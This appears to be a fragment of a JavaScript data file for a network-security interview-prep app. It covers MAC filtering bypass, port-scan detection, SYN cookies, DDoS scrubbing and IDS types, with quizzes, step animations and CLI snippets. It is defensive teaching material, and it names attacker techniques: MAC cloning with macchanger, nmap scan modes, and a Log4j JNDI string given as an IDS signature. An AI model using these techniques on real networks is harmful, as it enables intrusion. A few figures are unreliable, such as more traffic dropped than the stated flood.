 switchport port-security violation restrict`,quiz:{question:`Why is MAC address filtering considered ineffective against knowledgeable attackers?`,options:[`MAC addresses expire after 10 minutes`,`MAC addresses are transmitted in unencrypted plaintext in Ethernet/Wi-Fi frames and can be trivially spoofed in software`,`Routers convert all MAC addresses into IPv6 addresses`,`Switches do not inspect Layer 2 headers`],correctAnswer:1,explanation:`Because MAC addresses are transmitted in cleartext over the air and on wire, attackers can passively sniff valid MACs and clone them to bypass filters.`},steps:[{id:1,label:`Step 1: Authorized Corporate Laptop Appears`,badge:`Source Host`,activeNodes:[`client`],whatIsHappening:`Corporate laptop appears with approved hardware MAC address: 00:50:56:C0:00:08.`,interviewTakeaway:`Layer 2 devices use physical 48-bit MAC addresses for local frame forwarding.`},{id:2,label:`Step 2: Access Switch / Wireless AP Appears`,badge:`L2 Filter Gate`,activeNodes:[`switch`],whatIsHappening:`Edge switch/AP appears with port security / MAC filtering capabilities.`,interviewTakeaway:`Switches filter frames at ingress port based on MAC tables.`},{id:3,label:`Step 3: Corporate LAN / VLAN 10 Server Appears`,badge:`Protected LAN`,activeNodes:[`server`],whatIsHappening:`Corporate LAN server appears on internal VLAN 10 (10.0.0.10).`,interviewTakeaway:`Internal resources are protected by perimeter access controls.`},{id:4,label:`Step 4: Network Cabling Interconnects Topology`,badge:`Link Active`,activeNodes:[`client`,`switch`,`server`],whatIsHappening:`Physical Ethernet links establish topology from Client to Switch to LAN Server.`,interviewTakeaway:`Frames traverse physical L2 links.`},{id:5,label:`Step 5: MAC Whitelist Table Loaded in Switch Memory`,badge:`Whitelist Active`,activeNodes:[`switch`],whatIsHappening:`Switch memory contains approved allowlist: Gi0/1 ➔ 00:50:56:C0:00:08 PERMIT.`,interviewTakeaway:`Static MAC allowlists map permitted MACs to specific switch ports.`},{id:6,label:`Step 6: Authorized Client Creates Layer 2 Ethernet Frame`,badge:`Frame Created`,activeNodes:[`client`],whatIsHappening:`Client constructs Ethernet II frame with Source MAC: 00:50:56:C0:00:08.`,interviewTakeaway:`Frame header contains 6-byte source and destination MACs.`},{id:7,label:`Step 7: Ethernet Frame Transmits: Client ➔ Switch Ingress`,badge:`In Transit`,activeNodes:[`client`,`switch`],whatIsHappening:`Frame physically traverses cable and arrives at Switch port Gi0/1.`,interviewTakeaway:`Frames are buffered at switch ingress queue.`},{id:8,label:`Step 8: Switch Inspects Ingress Source MAC Address`,badge:`Table Lookup`,activeNodes:[`switch`],whatIsHappening:`Switch extracts Source MAC 00:50:56:C0:00:08 and queries whitelist table.`,interviewTakeaway:`Switch checks ingress MAC against port security database.`},{id:9,label:`Step 9: Whitelist Match: Frame PERMITTED & Forwarded to LAN`,badge:`ALLOW ✓`,decision:`ALLOW`,activeNodes:[`switch`,`server`],whatIsHappening:`MAC matched! Switch forwards frame out uplink port toward Corporate LAN.`,interviewTakeaway:`Whitelisted hardware MACs are granted network transit.`},{id:10,label:`Step 10: Corporate LAN Server Receives Frame & Responds`,badge:`Connected ✓`,activeNodes:[`server`,`client`],whatIsHappening:`Corporate server accepts IP frame and returns response to Authorized Laptop.`,interviewTakeaway:`Normal bidirectional communication established.`},{id:11,label:`Step 11: Unauthorized Rogue Laptop Connects to Switch Port`,badge:`Rogue Device`,activeNodes:[`client`,`switch`],whatIsHappening:`Unregistered device connects with hardware MAC: 70:85:C2:11:22:33.`,interviewTakeaway:`Rogue devices have arbitrary unlisted MAC addresses.`},{id:12,label:`Step 12: Rogue Frame Transmits to Switch Port Gi0/1`,badge:`In Transit`,activeNodes:[`client`,`switch`],whatIsHappening:`Rogue frame arrives at switch ingress port.`,interviewTakeaway:`All frames must undergo ingress port-security evaluation.`},{id:13,label:`Step 13: Whitelist Lookup Fails: Frame DROPPED by Switch ✕`,badge:`DENY ✕`,decision:`DENY`,activeNodes:[`switch`],whatIsHappening:`MAC 70:85:C2:11:22:33 not found in allowlist. Port security drops frame immediately.`,interviewTakeaway:`Basic MAC filtering stops casual unregistered visitors.`},{id:14,label:`Step 14: LIMITATION: Attacker Passively Sniffs Cleartext Frames`,badge:`Cleartext Risk`,activeNodes:[`client`],whatIsHappening:`Attacker sniffs LAN/Wi-Fi airwaves and captures valid MAC 00:50:56:C0:00:08.`,interviewTakeaway:`Ethernet MAC headers are unencrypted and easily sniffed.`},{id:15,label:"Step 15: Attacker Clones MAC via Software (`macchanger`)",badge:`MAC Spoofing`,activeNodes:[`client`],whatIsHappening:`Attacker runs macchanger to overwrite network card MAC with 00:50:56:C0:00:08.`,interviewTakeaway:`Software drivers can overwrite MAC addresses in seconds.`},{id:16,label:`Step 16: Spoofed Frame Sent ➔ Switch Bypasses Filter ✕`,badge:`FILTER BYPASS ✕`,decision:`ALLOW`,activeNodes:[`client`,`switch`],whatIsHappening:`Switch sees whitelisted MAC in header and grants access to attacker.`,interviewTakeaway:`MAC filtering is not authentication; spoofing easily bypasses it.`},{id:17,label:`Step 17: Enterprise Takeaway: IEEE 802.1X (EAP-TLS) Mandatory`,badge:`Solution ✓`,activeNodes:[`switch`,`server`],whatIsHappening:`Enterprise environments require cryptographic 802.1X PKI certificates instead of static MACs.`,interviewTakeaway:`802.1X EAP-TLS provides true cryptographic device authentication.`}]},{id:37,categoryId:`threats-attacks`,category:`DDoS & IDS/IPS`,title:`What is port scanning, and how can a firewall detect/block it?`,difficulty:`Intermediate`,visualType:`q37-port-scan`,elevatorPitch:`Port scanning is a reconnaissance technique where an attacker probes a range of TCP/UDP ports on a target to discover open services and potential vulnerabilities. Modern stateful firewalls and IPS engines detect port scans using heuristic rate-limiting and connection tracking algorithms, automatically blocking the attacking IP via dynamic auto-shunning (blacklisting).`,deepDive:`### Common Port Scan Types
* **TCP SYN (Stealth) Scan (\`nmap -sS\`):** Sends TCP SYN packets without completing the 3-way handshake (sends RST upon receiving SYN-ACK).
* **TCP Connect Scan (\`nmap -sT\`):** Completes the full 3-way handshake via the OS socket API.
* **UDP Scan (\`nmap -sU\`):** Sends UDP probes and listens for ICMP Port Unreachable (Type 3 Code 3) responses.

### Firewall & IPS Detection Mechanisms
1. **Heuristic Rate-Limiting:** Tracks the rate of connection attempts per source IP (e.g. >10 unique ports probed per second).
2. **TCP Half-Open Ratios:** Flags sources sending high volumes of SYN packets without subsequent ACKs.
3. **Decoy / Honeypot Ports:** Setting unassigned ports as triggers; any hit immediately blacklists the source IP.
4. **Dynamic Auto-Shun (Fail2Ban / Threat Feeds):** Automatically injects a temporary \`DROP\` rule into the firewall kernel table for the attacking IP for a configurable TTL (e.g. 1 hour).`,realWorldScenario:"An external threat actor used Nmap to sweep an enterprise perimeter across ports 21, 22, 23, 25, 80, 443, and 3389. After the 10th probe in under a second, the edge Next-Gen Firewall triggered its `SCAN_SYN_BURST` heuristic, automatically added the attacker’s IP (`198.51.100.50`) to the dynamic drop list, and alerted the SOC via Syslog.",commonTraps:[`Assuming port scanning is inherently destructive (It is reconnaissance; the goal is finding open doors to attack later).`,`Thinking a stealth SYN scan leaves zero traces in firewall state tables (Stateful firewalls track every half-open embryonic connection).`],cliSnippet:`# Cisco Firepower / ASA Port Scan Detection & Shunning
threat-detection scanning-threat detect
threat-detection rate-interval 1 rate-limit 10
threat-detection auto-shun enable`,quiz:{question:`How do modern firewalls detect stealth TCP SYN port scans?`,options:[`By decrypting the SSL payload`,`By tracking high rates of embryonic (half-open) connections and unassigned port probes from the same source IP`,`By disabling TCP SYN packets entirely`,`By asking the client for an administrative password`],correctAnswer:1,explanation:`Firewalls track connection rates and half-open state ratios per source IP; rapid probes to multiple ports trigger rate threshold alarms.`},steps:[{id:1,label:`Step 1: Attacker Workstation Appears (198.51.100.50)`,badge:`Recon Source`,activeNodes:[`client`],whatIsHappening:`Attacker workstation appears running Nmap reconnaissance tools.`,interviewTakeaway:`Reconnaissance precedes active exploitation in cyber kill chains.`},{id:2,label:`Step 2: Perimeter Firewall / IPS Appliance Appears`,badge:`Defense Gateway`,activeNodes:[`firewall`],whatIsHappening:`Enterprise perimeter Next-Gen Firewall / IPS engine appears.`,interviewTakeaway:`Perimeter firewalls monitor inbound connection rates.`},{id:3,label:`Step 3: Protected Internal Web Server Appears (10.0.0.80)`,badge:`Target Asset`,activeNodes:[`server`],whatIsHappening:`Target internal web server hosting sensitive corporate services appears.`,interviewTakeaway:`Servers host services across standard and non-standard ports.`},{id:4,label:`Step 4: Network Links Established Across Internet WAN`,badge:`WAN Interconnect`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Public Internet connections link Attacker to Firewall to Server.`,interviewTakeaway:`Public internet traffic arrives at edge firewall interface.`},{id:5,label:`Step 5: Attacker Launches Nmap TCP SYN Port Sweep`,badge:`Scan Started`,activeNodes:[`client`],whatIsHappening:`Attacker initiates rapid port sweep targeting ports 22, 80, 443, 3389.`,interviewTakeaway:`Port sweeps attempt to discover open listening sockets.`},{id:6,label:`Step 6: Probe 1 (TCP SYN to Port 22 SSH) Transmits to Firewall`,badge:`Probe :22`,activeNodes:[`client`,`firewall`],whatIsHappening:`TCP SYN packet targeting Port 22 (SSH) arrives at firewall ingress.`,interviewTakeaway:`Port 22 is commonly scanned for SSH vulnerabilities.`},{id:7,label:`Step 7: Firewall Inspects Probe 1 & Increments Rate Tracker`,badge:`Inspecting :22`,activeNodes:[`firewall`],whatIsHappening:`Firewall logs embryonic attempt; rate counter for 198.51.100.50 = 1 probe.`,interviewTakeaway:`Firewalls track connection counts per source IP.`},{id:8,label:`Step 8: Probe 2 (TCP SYN to Port 80 HTTP) Arrives at Firewall`,badge:`Probe :80`,activeNodes:[`client`,`firewall`],whatIsHappening:`Attacker transmits second probe targeting Port 80 (HTTP).`,interviewTakeaway:`Scanners rapidly iterate across common port numbers.`},{id:9,label:`Step 9: Firewall Inspects Probe 2 & Updates Connection Table`,badge:`Inspecting :80`,activeNodes:[`firewall`],whatIsHappening:`Firewall connection tracking records 2 distinct ports in 100ms.`,interviewTakeaway:`Heuristic engines look for distinct port spreads.`},{id:10,label:`Step 10: Probe 3 (TCP SYN to Port 443 HTTPS) Arrives`,badge:`Probe :443`,activeNodes:[`client`,`firewall`],whatIsHappening:`Attacker transmits third probe targeting Port 443 (HTTPS).`,interviewTakeaway:`Continuous probing indicates automated scanning.`},{id:11,label:`Step 11: Firewall Inspects Probe 3: Suspicious Spread Detected`,badge:`Inspecting :443`,activeNodes:[`firewall`],whatIsHappening:`Firewall observes 3 sequential port hits from same external source.`,interviewTakeaway:`Multiple port hits from one source trigger anomaly watches.`},{id:12,label:`Step 12: Attacker Launches Burst Probing Across Ports 21, 23, 25, 3389`,badge:`Scan Burst`,activeNodes:[`client`,`firewall`],whatIsHappening:`Attacker unleashes burst scan targeting FTP, Telnet, SMTP, and RDP.`,interviewTakeaway:`Aggressive scans trigger threshold breach counters.`},{id:13,label:`Step 13: Firewall Heuristic Threshold Exceeded (>10 ports/sec)`,badge:`THRESHOLD BREACH ⚠`,activeNodes:[`firewall`],whatIsHappening:`Rate tracker surpasses threshold limit (42 ports/sec > 10 ports/sec limit).`,interviewTakeaway:`Rate threshold breaches convert passive observation into active defense.`},{id:14,label:"Step 14: Firewall IPS Flags `PORT_SCAN_ATTACK_DETECTED`",badge:`THREAT DETECTED ⚠`,activeNodes:[`firewall`],whatIsHappening:`IDS/IPS engine triggers high-severity Port Scan Reconnaissance alert.`,interviewTakeaway:`IPS signatures detect scan patterns deterministically.`},{id:15,label:`Step 15: Firewall Installs Dynamic Auto-Shun Drop Rule in Kernel`,badge:`Auto-Shun Active`,activeNodes:[`firewall`],whatIsHappening:`Firewall adds dynamic rule: DROP all traffic from 198.51.100.50 (TTL: 3600s).`,interviewTakeaway:`Auto-shunning dynamically blacklists malicious source IPs.`},{id:16,label:`Step 16: Attacker Probe :3389 Instantly DROPPED at Perimeter ✕`,badge:`DENY ✕`,decision:`DENY`,activeNodes:[`client`,`firewall`],whatIsHappening:`Subsequent RDP probe hits auto-shun filter and is discarded at hardware interface.`,interviewTakeaway:`Blacklisted sources cannot reach internal servers.`},{id:17,label:`Step 17: Firewall Emits High-Priority Syslog to Enterprise SIEM`,badge:`SIEM Alert Dispatched`,activeNodes:[`firewall`],whatIsHappening:`Firewall dispatches syslog to SIEM: %FW-3-SCAN: Host 198.51.100.50 shunned.`,interviewTakeaway:`Security logs provide audit trails of blocked reconnaissance.`},{id:18,label:`Step 18: Result: Target Web Server Completely Shielded & Protected ✓`,badge:`PROTECTED ✓`,activeNodes:[`server`],whatIsHappening:`Server remains online with 0% CPU impact; attacker blocked at edge.`,interviewTakeaway:`Automated firewall defense prevents reconnaissance from escalating into breach.`}]},{id:38,categoryId:`threats-attacks`,category:`DDoS & IDS/IPS`,title:`What is a SYN flood attack, and how do SYN cookies mitigate it?`,difficulty:`Intermediate`,visualType:`q38-syn-flood`,elevatorPitch:`A SYN flood is a Denial-of-Service (DoS) attack that exploits the TCP 3-way handshake by flooding a server with SYN packets from spoofed IP addresses, consuming all slots in the server’s Transmission Control Block (TCB) half-open queue. SYN cookies mitigate this by encoding the connection state cryptographically into the initial TCP sequence number (ISN), allowing the server to respond statelessly without allocating RAM until the client returns a valid ACK.`,deepDive:`### The Standard TCP 3-Way Handshake
1. **Client sends SYN:** Client initiates with Initial Sequence Number (ISN_client).
2. **Server allocates TCB & sends SYN-ACK:** Server stores connection state in memory (SYN Backlog Queue, ~280 bytes per connection) and returns SYN-ACK.
3. **Client sends ACK:** Handshake moves to \`ESTABLISHED\` state.

### The SYN Flood Vulnerability
* The attacker floods millions of SYN packets with spoofed, unreachable source IPs.
* The server responds with SYN-ACK and waits for the final ACK (typically 75-120 seconds timeout).
* Because the source IPs are fake, the ACKs never arrive.
* The server's **SYN Backlog Queue** reaches 100% capacity; all new legitimate connection attempts are dropped.

### How SYN Cookies Solve This Statelessly
* When the backlog queue fills, the kernel enables **SYN Cookies** (\`net.ipv4.tcp_syncookies = 1\`).
* **Zero RAM Allocation:** The server does NOT allocate a TCB entry in memory.
* **Cryptographic ISN:** The server creates a synthetic sequence number:
  \`\`\`
  ISN_server = SHA256(SrcIP, DstIP, SrcPort, DstPort, SecretKey, Timestamp) + MSS_Index
  \`\`\`
* When a legitimate client sends the final ACK, it echoes back \`ISN_server + 1\`.
* The server subtracts 1, recomputes the cryptographic hash, verifies authenticity, and instantiates the full TCB only then. Fake SYN flooders never reply with ACK, consuming zero server RAM!`,realWorldScenario:"An e-commerce web server was targeted during a flash sale with 500,000 SYN packets per second from a spoofed Mirai botnet. Within 2 seconds, the kernel backlog filled and normal shoppers were unable to load checkout. The security engineer enabled `sysctl -w net.ipv4.tcp_syncookies=1`; the server switched to stateless cryptographic validation, instantly restoring service for legitimate users while absorbing the flood.",commonTraps:[`Believing SYN cookies require client-side software (They are 100% compliant with standard TCP RFC 793/1323; the client has no idea SYN cookies are being used).`,`Thinking SYN cookies are always on by default (They only activate when the backlog queue surpasses its warning threshold, as generating cryptographic hashes has a minor CPU cost).`],cliSnippet:`# Linux Kernel TCP SYN Cookie Configuration
# Check status
sysctl net.ipv4.tcp_syncookies

# Enable permanently in /etc/sysctl.conf
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 4096`,quiz:{question:`How do SYN cookies prevent memory exhaustion during a SYN flood?`,options:[`By dropping all incoming SYN packets immediately`,`By encoding connection parameters cryptographically into the SYN-ACK sequence number without allocating RAM until a valid ACK returns`,`By forcing the client to authenticate with a username and password`,`By rebooting the server every 60 seconds`],correctAnswer:1,explanation:`SYN cookies avoid allocating Transmission Control Block (TCB) memory slots by encoding state into the TCP Initial Sequence Number (ISN).`},steps:[{id:1,label:`Step 1: Legitimate Client Appears (192.168.1.50)`,badge:`Legit Host`,activeNodes:[`client`],whatIsHappening:`Normal web browser client appears ready to establish a TCP session.`,interviewTakeaway:`Standard TCP connections begin with a 3-way handshake.`},{id:2,label:`Step 2: Perimeter Security Gateway Appears`,badge:`TCP Gateway`,activeNodes:[`firewall`],whatIsHappening:`Security gateway / firewall with TCP connection tracking appears.`,interviewTakeaway:`Firewalls track embryonic half-open TCP states.`},{id:3,label:`Step 3: Web Server Appears with RAM TCB Backlog Queue`,badge:`Target Server`,activeNodes:[`server`],whatIsHappening:`Web server appears with memory-allocated SYN Backlog Queue slots.`,interviewTakeaway:`Servers allocate ~280 bytes of RAM per half-open connection.`},{id:4,label:`Step 4: Network Cabling Interconnects Topology`,badge:`Cables Active`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Network infrastructure links Client to Gateway to Server.`,interviewTakeaway:`Packets traverse physical L3 network paths.`},{id:5,label:`Step 5: Normal Client Sends TCP SYN (Seq=1000)`,badge:`TCP SYN`,activeNodes:[`client`,`server`],whatIsHappening:`Client initiates standard 3-way handshake by transmitting TCP SYN.`,interviewTakeaway:`SYN initializes sequence number negotiation.`},{id:6,label:`Step 6: Server Allocates TCB Slot 1 & Responds SYN-ACK`,badge:`SYN-ACK Return`,activeNodes:[`server`,`client`],whatIsHappening:`Server reserves Slot 1 in RAM and returns SYN-ACK (Seq=5000, Ack=1001).`,interviewTakeaway:`Server enters SYN_RECEIVED state and awaits final ACK.`},{id:7,label:`Step 7: Client Sends Final ACK: Connection ESTABLISHED ✓`,badge:`ESTABLISHED ✓`,activeNodes:[`client`,`server`],whatIsHappening:`Client returns ACK 5001. Handshake completes and session is ESTABLISHED.`,interviewTakeaway:`Completed handshakes move connections into established pool.`},{id:8,label:`Step 8: Attacker Botnet Appears with Spoofed Source IPs`,badge:`Botnet Influx`,activeNodes:[`client`],whatIsHappening:`Attacker launches SYN flood utilizing millions of spoofed, unreachable IPs.`,interviewTakeaway:`Spoofed IPs ensure the final ACK is never returned.`},{id:9,label:`Step 9: Massive Wave of Spoofed SYN Packets Inundates Server`,badge:`SYN FLOOD WAVE`,activeNodes:[`client`,`server`],whatIsHappening:`Millions of spoofed SYN packets flood through gateway into server TCP stack.`,interviewTakeaway:`Volumetric SYN floods target memory exhaustion.`},{id:10,label:`Step 10: Server SYN Backlog Queue Reaches 100% Capacity (DoS)`,badge:`QUEUE EXHAUSTION ✕`,activeNodes:[`server`],whatIsHappening:`Every TCB slot in server RAM is filled with half-open embryonic states.`,interviewTakeaway:`Exhausted backlog queues reject all new connection attempts.`},{id:11,label:`Step 11: Normal Client Attempts Connection: DROPPED (DoS Failure)`,badge:`LEGIT USER BLOCKED ✕`,decision:`DENY`,activeNodes:[`client`,`server`],whatIsHappening:`Legitimate user attempts to connect but is dropped due to queue exhaustion.`,interviewTakeaway:`DoS succeeds when legitimate users are denied service.`},{id:12,label:`Step 12: Server OS Activates SYN Cookie Defense Mechanism`,badge:`SYN COOKIES ON`,activeNodes:[`server`],whatIsHappening:`Kernel detects backlog exhaustion and enables stateless SYN Cookie engine.`,interviewTakeaway:`SYN cookies activate automatically when backlog exceeds threshold.`},{id:13,label:`Step 13: Server Stops Allocating RAM Memory for Incoming SYNs`,badge:`Zero RAM Allocation`,activeNodes:[`server`],whatIsHappening:`Server transitions to stateless mode: 0 bytes of RAM allocated per SYN.`,interviewTakeaway:`Stateless processing eliminates memory exhaustion vulnerability.`},{id:14,label:`Step 14: Server Encodes Connection State into Cryptographic ISN`,badge:`Crypto Hash ISN`,activeNodes:[`server`],whatIsHappening:`Server generates ISN = SHA256(SrcIP, DstIP, SrcPort, DstPort, Secret, MSS).`,interviewTakeaway:`Sequence numbers carry the connection state cryptographically.`},{id:15,label:`Step 15: Server Returns Stateless SYN-ACK with Crypto Cookie`,badge:`Stateless SYN-ACK`,activeNodes:[`server`],whatIsHappening:`Server transmits SYN-ACK containing the cryptographic cookie in Seq field.`,interviewTakeaway:`Standard TCP clients echo this number + 1 in their ACK.`},{id:16,label:`Step 16: Legitimate Client Returns ACK with Matching Cookie Value`,badge:`ACK + Cookie Match`,activeNodes:[`client`,`server`],whatIsHappening:`Legitimate client replies with ACK = ISN + 1. Server validates hash instantly.`,interviewTakeaway:`Only real clients with valid routable IPs can return the ACK.`},{id:17,label:`Step 17: Server Validates Cookie & Instantiates Connection in RAM`,badge:`Stateless Validation ✓`,activeNodes:[`server`,`client`],whatIsHappening:`Server confirms cryptographic signature and instantiates socket only upon ACK.`,interviewTakeaway:`TCB memory is only allocated once the client proves authenticity.`},{id:18,label:`Step 18: Result: SYN Flood Neutralized — Server Stays 100% Online ✓`,badge:`ATTACK DEFEATED ✓`,activeNodes:[`server`],whatIsHappening:`Spoofed flood consumes 0 bytes of memory; legitimate users connect seamlessly.`,interviewTakeaway:`SYN cookies render SYN flood memory exhaustion attacks completely ineffective.`}]},{id:39,categoryId:`threats-attacks`,category:`DDoS & IDS/IPS`,title:`What is DDoS, and how does cloud scrubbing mitigate volumetric attacks?`,difficulty:`Advanced`,visualType:`q39-ddos-scrubbing`,elevatorPitch:`Distributed Denial-of-Service (DDoS) is a malicious attempt to disrupt server availability by overwhelming the target or its surrounding network with a flood of Internet traffic from multiple compromised sources. Cloud DDoS scrubbing mitigates this by using BGP Anycast to ingest the multi-hundred-gigabit flood across hundreds of global scrubbing centers, filtering malicious packets via Deep Packet Inspection (DPI) and BGP Flowspec, and forwarding only clean, legitimate traffic to the origin server over a secure GRE/IPsec tunnel.`,deepDive:`### Categories of DDoS Attacks
1. **Volumetric Attacks (Layer 3/4):** UDP/NTP/DNS amplification floods aiming to saturate the internet uplink pipe (e.g. 500 Gbps - 2 Tbps).
2. **Protocol / State Exhaustion Attacks (Layer 4):** SYN Floods, ACK Floods, and Ping of Death aiming to crash firewall state tables and server connection pools.
3. **Application Layer Attacks (Layer 7):** HTTP GET/POST floods, Slowloris, and GraphQL complexity attacks mimicking legitimate browser traffic to exhaust backend CPU/database threads.

### Cloud Scrubbing Architecture
* **BGP Anycast Ingestion:** The enterprise announces its public IP prefix from 300+ global Cloudflare/Akamai/AWS PoPs simultaneously. Attack traffic from 50,000 botnet nodes is fragmented and absorbed locally across the global edge rather than converging on one data center.
* **Inline Scrubbing & DPI:** Hardware ASIC filters and machine-learning models inspect packets at line rate, dropping malformed headers, reflection amplification, and known botnet signatures.
* **Clean-Pipe Tunnel Delivery:** Only verified clean traffic (e.g. 15 Mbps out of a 500 Gbps flood) is forwarded to the origin server via dedicated GRE (Generic Routing Encapsulation) or IPsec tunnels.`,realWorldScenario:`A banking application came under a massive 600 Gbps NTP Reflection DDoS attack intended to extort a ransom. Because the bank routed traffic through a Cloud DDoS Scrubbing network, the 600 Gbps wave was absorbed across 200 global Anycast edge PoPs. The scrubbing filters dropped 99.98% of the malicious UDP packets, delivering only 20 Mbps of clean customer traffic to the core data center, resulting in 0% downtime.`,commonTraps:[`Assuming an on-premises firewall can stop a 500 Gbps volumetric DDoS attack (If your ISP internet line is 10 Gbps, a 500 Gbps flood fills the pipe miles before it ever touches your firewall).`,`Confusing rate-limiting with scrubbing (Basic rate-limiting drops legitimate users alongside attackers; scrubbing distinguishes and isolates malicious traffic).`],cliSnippet:`# BGP Flowspec Rule to Drop UDP Amplification Attack
flowspec {
  route drop-dns-amplification {
    match {
      protocol udp;
      port 53;
      packet-length 512-4096;
    }
    then discard;
  }
}`,quiz:{question:`Why must volumetric DDoS attacks (e.g. 500 Gbps) be mitigated in the cloud rather than by an on-premises firewall?`,options:[`On-premises firewalls do not support IPv4`,`A 500 Gbps attack will saturate the ISP physical circuit long before packets reach the local firewall`,`Cloud scrubbing converts UDP packets into encrypted VPN tunnels`,`Firewalls cannot inspect TCP headers`],correctAnswer:1,explanation:`Volumetric attacks exceed the physical bandwidth capacity of the target data center ISP uplink; they must be absorbed and scrubbed upstream in the cloud.`},steps:[{id:1,label:`Step 1: Origin Data Center Server Appears (Target Asset)`,badge:`Origin Server`,activeNodes:[`server`],whatIsHappening:`Protected origin web server appears hosting enterprise banking application.`,interviewTakeaway:`Origin servers must remain shielded from direct internet flood exposure.`},{id:2,label:`Step 2: Cloud DDoS Scrubbing Center (Anycast PoP) Appears`,badge:`Scrubbing Cloud`,activeNodes:[`firewall`],whatIsHappening:`Global Cloud DDoS Scrubbing Center (Anycast Edge PoP) appears.`,interviewTakeaway:`Cloud scrubbing providers ingest traffic across distributed global edge networks.`},{id:3,label:`Step 3: Legitimate Internet Users Appear`,badge:`Legitimate Users`,activeNodes:[`client`],whatIsHappening:`Real customers browse web applications with standard HTTPS requests.`,interviewTakeaway:`Legitimate traffic consists of well-formed TCP/HTTPS sessions.`},{id:4,label:`Step 4: Distributed Botnet Nodes Appear (50,000 Infected Hosts)`,badge:`Botnet Nodes`,activeNodes:[`client`],whatIsHappening:`Compromised IoT botnet nodes appear ready to launch coordinated volumetric flood.`,interviewTakeaway:`DDoS botnets leverage thousands of geographically distributed hosts.`},{id:5,label:`Step 5: Network Links Connect Users & Cloud to Origin`,badge:`Global Topology`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Public Internet connects clients to Cloud Anycast; GRE tunnel connects Cloud to Origin.`,interviewTakeaway:`Clean pipe tunnels isolate origin server from public exposure.`},{id:6,label:`Step 6: Legitimate User Sends HTTPS Request ➔ Anycast PoP`,badge:`User HTTPS`,activeNodes:[`client`,`firewall`],whatIsHappening:`User sends HTTPS GET request to public VIP; nearest Anycast PoP ingests packet.`,interviewTakeaway:`Anycast routes user to geographically closest cloud edge.`},{id:7,label:`Step 7: Scrubbing Center Validates Traffic & Forwards to Origin`,badge:`Clean Forward`,activeNodes:[`firewall`,`server`],whatIsHappening:`DPI engine verifies valid TLS handshake and forwards clean packet to Origin.`,interviewTakeaway:`Verified clean packets pass through without delay.`},{id:8,label:`Step 8: Origin Server Responds with HTTP 200 OK`,badge:`Origin Serving`,activeNodes:[`server`,`client`],whatIsHappening:`Origin server delivers web content back to user over clean tunnel.`,interviewTakeaway:`Normal operations operate at low nominal bandwidth.`},{id:9,label:`Step 9: Botnet Launches 500 Gbps Volumetric UDP/SYN Flood`,badge:`ATTACK WAVE 500 Gbps`,activeNodes:[`client`,`firewall`],whatIsHappening:`Massive multi-vector flood (UDP reflection + SYN storm) strikes Anycast border.`,interviewTakeaway:`Volumetric attacks aim to saturate transit bandwidth.`},{id:10,label:`Step 10: Ingress Flood Ingested Across 300+ Global Anycast PoPs`,badge:`Anycast Absorption`,activeNodes:[`firewall`],whatIsHappening:`BGP Anycast distributes 500 Gbps across global edge, diluting load per data center.`,interviewTakeaway:`Anycast dilutes multi-terabit attacks across global infrastructure.`},{id:11,label:`Step 11: Scrubbing Center DPI Engines Detect Volumetric Anomaly`,badge:`DPI Threat Detection`,activeNodes:[`firewall`],whatIsHappening:`Inline DPI sensors identify spoofed UDP amplification headers and SYN anomalies.`,interviewTakeaway:`Heuristic DPI separates attack signatures from legitimate user traffic.`},{id:12,label:`Step 12: BGP Flowspec & Rate Limiting Drops UDP Amplification Floods`,badge:`Flowspec Drop ✕`,activeNodes:[`firewall`],whatIsHappening:`Automated BGP Flowspec rules discard malformed UDP/NTP reflection packets.`,interviewTakeaway:`Flowspec pushes line-rate drop rules into edge router ASICs.`},{id:13,label:`Step 13: Protocol Challenges (JS/CAPTCHA) Drop Non-Browser Bots`,badge:`L7 Challenge Drop`,activeNodes:[`firewall`],whatIsHappening:`L7 challenge engine verifies browser capabilities, dropping automated script bots.`,interviewTakeaway:`Cryptographic challenges weed out automated L7 flood tools.`},{id:14,label:`Step 14: 99.99% of Malicious Attack Traffic Discarded at Cloud Edge ✕`,badge:`99.99% SCRUBBED ✕`,decision:`DENY`,activeNodes:[`firewall`],whatIsHappening:`512.38 Gbps of attack garbage is dropped at the cloud perimeter.`,interviewTakeaway:`Cloud scrubbing filters out attack volume before it reaches origin.`},{id:15,label:`Step 15: Clean Pipe (15 Mbps) Forwarded via GRE Tunnel to Origin`,badge:`CLEAN PIPE 15 Mbps`,activeNodes:[`firewall`,`server`],whatIsHappening:`Only verified 15.0 Mbps legitimate customer traffic travels across tunnel to Origin.`,interviewTakeaway:`Clean pipe transit keeps origin link completely uncongested.`},{id:16,label:`Step 16: Origin Server Receives Clean Traffic with 12% Nominal CPU`,badge:`Origin Healthy ✓`,activeNodes:[`server`],whatIsHappening:`Origin server processes legitimate user requests smoothly with zero lag.`,interviewTakeaway:`Shielded origin servers experience zero resource exhaustion.`},{id:17,label:`Step 17: Legitimate Users Browse Web Application Uninterrupted`,badge:`Zero Downtime ✓`,activeNodes:[`client`,`server`],whatIsHappening:`Customer transactions continue without disruption during multi-hundred gigabit attack.`,interviewTakeaway:`Resilient DDoS architecture ensures 100% service uptime.`},{id:18,label:`Step 18: Summary: Cloud Anycast Ingestion + Clean-Pipe GRE Delivery ✓`,badge:`RESILIENCE PROVEN ✓`,activeNodes:[`firewall`,`server`],whatIsHappening:`Complete DDoS defense demonstrated: Cloud absorbs flood, origin stays online.`,interviewTakeaway:`Cloud scrubbing is the industry standard for volumetric DDoS defense.`}]},{id:40,categoryId:`threats-attacks`,category:`DDoS & IDS/IPS`,title:`What is the difference between signature-based and anomaly-based IDS?`,difficulty:`Intermediate`,visualType:`q40-ids-signature-vs-anomaly`,elevatorPitch:`Signature-based IDS detects known threats by comparing packet payloads and headers against a deterministic database of predefined byte patterns and CVE rules (e.g. Snort/Suricata), offering near-zero false positives for known exploits but failing against zero-days. Anomaly-based IDS establishes a statistical behavioral baseline of normal network activity and flags significant deviations (heuristics/ML), enabling the detection of novel zero-day attacks and internal data exfiltration at the cost of higher false positives.`,deepDive:`### Signature-Based IDS (Deterministic Pattern Matching)
* **How It Works:** Inspects traffic looking for specific strings, regexes, or hexadecimal sequences known to belong to exploits (e.g. Log4j \`\${jndi:ldap://...}\` or EternalBlue SMB headers).
* **Strengths:** Lightning-fast, deterministic, extremely low false-positive rate.
* **Weaknesses:** Completely blind to novel Zero-Day vulnerabilities, polymorphic malware, and encrypted payloads.

### Anomaly-Based IDS (Behavioral Baseline & Heuristics)
